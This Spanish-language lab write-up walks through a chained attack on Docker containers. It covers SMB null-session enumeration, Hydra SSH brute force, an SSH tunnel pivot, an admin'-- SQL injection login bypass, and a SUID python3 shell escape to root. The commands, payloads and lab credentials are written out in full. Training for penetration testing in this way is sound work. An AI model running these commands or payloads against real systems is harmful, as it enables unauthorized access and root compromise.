Lab 2 — SMB Null Session + SQLi + SUID Privesc
Estos laboratorios están montados en contenedores Docker configurados para ello.
Escenario con múltiples vectores encadenados: enumeración SMB anónima, brute force SSH con Hydra sobre lista dirigida, pivoting con túnel SSH manual hacia la red interna, bypass de login mediante SQL Injection y escalada de privilegios aprovechando SUID en python3.
Topología del laboratorio
Reconocimiento — nmap + SMB
nmap -sV -sC -p 22,139,445 172.21.10.5
Workgroup: CORP
Con SMB en el pivot, intentamos una null session para enumerar shares y usuarios.
# Listar shares sin credenciales:
smbclient -N -U "" -L \\172.21.10.5
# Conectar al share público:
smbclient -N -U "" \\\\172.21.10.5\\public
smb> get network_info.txt
Red interna: 172.21.20.0/24
Web server: 172.21.20.15 (HTTP:80, SSH:22)
Web admin user: webadmin
Enumeración de usuarios SSH + Brute Force
El archivo de loot mencionaba webadmin como usuario del servidor web pero no del pivot. Se intentó enumerar usuarios via RID cycling con enum4linux sin éxito. Se construyó una wordlist dirigida basada en el contexto del servidor (jumpbox corporativo).
# Wordlist de usuarios contextual (12 entradas):
sysadmin, admin, administrator, corp, jumpbox,
operator, netadmin, itadmin, helpdesk, support, ubuntu, corpuser
hydra -L users.txt -P passwords.txt ssh://172.21.10.5 -t 4 -V
Pivoting — Túnel SSH Manual
En lugar de usar el portfwd de Meterpreter (que presentó problemas con HTTP/1.0), se optó por un túnel SSH directo, más estable para tráfico web.
# Establecer túnel SSH local:
ssh -L 9191:172.21.20.15:80 [email protected]
# Puerto 9191 en Kali ahora apunta al servidor web interno
# Acceder desde el navegador o curl:
curl http://127.0.0.1:9191/
ssh -L [PUERTO_LOCAL]:[IP_TARGET_INTERNO]:[PUERTO_TARGET] [USUARIO]@[IP_PIVOT]
SQL Injection — Bypass de Login
El portal interno presentaba un formulario de login estándar. Se identificó que el servidor era vulnerable a SQL injection en el campo username mediante el payload clásico de bypass de autenticación.
# Payload SQLi bypass:
username: admin'--
password: cualquiercosa
# Con curl:
curl -X POST -d "username=admin'--&password=x" \
http://127.0.0.1:9191/login -o response.html
SELECT * FROM users WHERE user='admin'-- AND pass='...'Credenciales SSH obtenidas del panel: webadmin : w3badm1n!
Acceso SSH al Target
Con las credenciales extraídas del panel de administración, accedemos directamente al servidor interno. El tráfico SSH también pasa por el túnel o por el autoroute de Meterpreter si está activo.
ssh [email protected]
# password: w3badm1n!
whoami # webadmin
cat /home/webadmin/hint.txt
# Pista: busca binarios con SUID
Escalada de Privilegios — SUID python3
Siguiendo la pista del hint, buscamos binarios con el bit SUID activo.
find / -perm -4000 -type f 2>/dev/null
Un binario con SUID ejecuta con los privilegios del propietario (root) independientemente del usuario que lo lance. Python3 permite llamar directamente a la syscall execl para reemplazar el proceso por una shell.
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
whoami # root
cat /root/flag.txt
FLAG{SQLi_pivot_pwn3d_eJPT_pr0!}
Conclusiones y aprendizajes
- Las null sessions en Samba mal configurado pueden revelar información crítica de infraestructura interna sin necesidad de credenciales.
- El brute force debe ser siempre dirigido y contextual. Una wordlist de 12 usuarios cuidadosamente elegidos supera a una de 8 millones mal seleccionados.
- El túnel SSH (
ssh -L) es más estable que el portfwd de Meterpreter para tráfico web, especialmente con servidores HTTP/1.0. - El payload
admin'--funciona porque los comentarios SQL (--) anulan el resto de la query, incluyendo la validación de contraseña. - GTFOBins es la referencia de cabecera para abusar de binarios SUID. Ante un SUID en python3, la escalada es trivial via
os.execl.
Volver a CTF & Labs.